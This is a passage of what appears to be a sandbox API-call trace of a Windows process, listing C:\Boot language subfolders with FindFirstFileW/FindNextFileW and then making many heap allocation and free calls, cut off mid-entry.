1 [0042.390] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.391] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.391] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.391] FindClose (in: hFindFile=0x42800c0 | out: hFindFile=0x42800c0) returned 1 [0042.391] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.391] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.391] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.391] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280640 [0042.391] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.391] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.391] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.391] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0042.392] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.392] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.392] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.392] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280080 [0042.392] FindNextFileW (in: hFindFile=0x4280080, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.392] FindNextFileW (in: hFindFile=0x4280080, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.392] FindNextFileW (in: hFindFile=0x4280080, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.392] FindNextFileW (in: hFindFile=0x4280080, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.392] FindClose (in: hFindFile=0x4280080 | out: hFindFile=0x4280080) returned 1 [0042.392] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.392] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.392] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.392] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280580 [0042.393] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.393] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.393] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.393] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.393] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) returned 1 [0042.393] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.393] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.393] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.393] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280540 [0042.393] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.393] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.394] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.394] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0042.394] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.394] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.394] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.394] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.394] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280100 [0042.394] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.394] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.394] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.394] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.395] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0042.395] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.395] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.395] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.395] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280740 [0042.395] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.396] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.396] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.399] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.399] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x690000) returned 1 [0042.401] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x690000) returned 1 [0042.403] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x690000) returned 1 [0043.385] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x690000) returned 1 [0043.386] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x690000) returned 1 [0043.386] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0043.696] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0043.697] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.698] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.698] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.698] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.698] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.699] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.699] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.701] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.701] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.701] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.702] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.702] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.702] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.703] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.705] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0043.706] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0043.706] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0043.771] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0043.771] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0043.773] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0043.773] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0043.774] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0043.774] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0043.779] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0043.779] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.779] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.779] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.779] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.780] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.780] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.781] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.781] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.781] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.781] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.781] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.781] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.785] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.785] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.785] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.785] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.787] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.787] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.787] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.787] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.791] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.791] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.791] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.791] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0043.792] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.793] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0043.865] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0043.865] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.867] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.868] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0044.214] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0044.214] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0044.214] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0044.284] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0044.285] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0044.393] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0044.393] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0044.902] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0044.902] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0044.902] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0044.903] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0044.903] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0044.915] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0044.916] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0044.918] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0045.018] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0045.018] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0045.024] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0045.024] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0045.024] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0045.025] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0045.025] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0045.026] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0045.026] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0045.026] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0045.190] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0045.192] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0045.193] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0045.193] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0045.196] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0045.197] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0045.198] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0045.200] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0045.203] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0045.535] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0045.789] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0045.792] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0046.253] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0046.311] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0046.317] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0046.317] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0046.317] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0046.317] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0046.329] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0046.392] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0046.394] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0046.726] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0046.728] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f30 | out: hHeap=0x690000) returned 1 [0046.728] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f28 | out: hHeap=0x690000) returned 1 [0046.728] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0046.744] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f30 | out: hHeap=0x690000) returned 1 [0046.746] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f30 | out: hHeap=0x690000) returned 1 [0046.759] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f30 | out: hHeap=0x690000) returned 1 [0046.759] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f28 | out: hHeap=0x690000) returned 1 [0046.763] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f28 | out: hHeap=0x690000) returned 1 [0046.763] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f28 | out: hHeap=0x690000) returned 1 [0046.772] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f28 | out: hHeap=0x690000) returned 1 [0047.222] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f28 | out: hHeap=0x690000) returned 1 [0047.279] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0047.421] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f28 | out: hHeap=0x690000) returned 1 [0047.422] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f28 | out: hHeap=0x690000) returned 1 [0047.423] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f28 | out: hHeap=0x690000) returned 1 [0047.427] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f28 | out: hHeap=0x690000) returned 1 [0047.427] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0047.433] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f30 | out: hHeap=0x690000) returned 1 [0047.436] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f30 | out: hHeap=0x690000) returned 1 [0047.508] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43c3f38 | out: hHeap=0x690000) returned 1 [0047.514] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43c3f38 | out: hHeap=0x690000) returned 1 [0047.517] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43c3f38 | out: hHeap=0x690000) returned 1 [0047.563] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ed8 | out: hHeap=0x690000) returned 1 [0047.563] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ed8 | out: hHeap=0x690000) returned 1 [0047.563] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ed8 | out: hHeap=0x690000) returned 1 [0047.563] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ed8 | out: hHeap=0x690000) returned 1 [0047.565] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ed8 | out: hHeap=0x690000) returned 1 [0047.571] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0047.573] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0047.574] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0047.576] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0047.577] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0047.578] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0047.632] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0047.634] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0047.635] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0047.954] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0047.955] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0047.956] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0047.958] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0047.959] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0047.960] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0047.961] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0047.963] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.066] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.069] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.070] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.072] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.073] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.075] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.078] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.080] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.081] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.082] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.258] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.260] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.263] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.264] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.266] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.267] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.269] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.271] HeapFree (in: 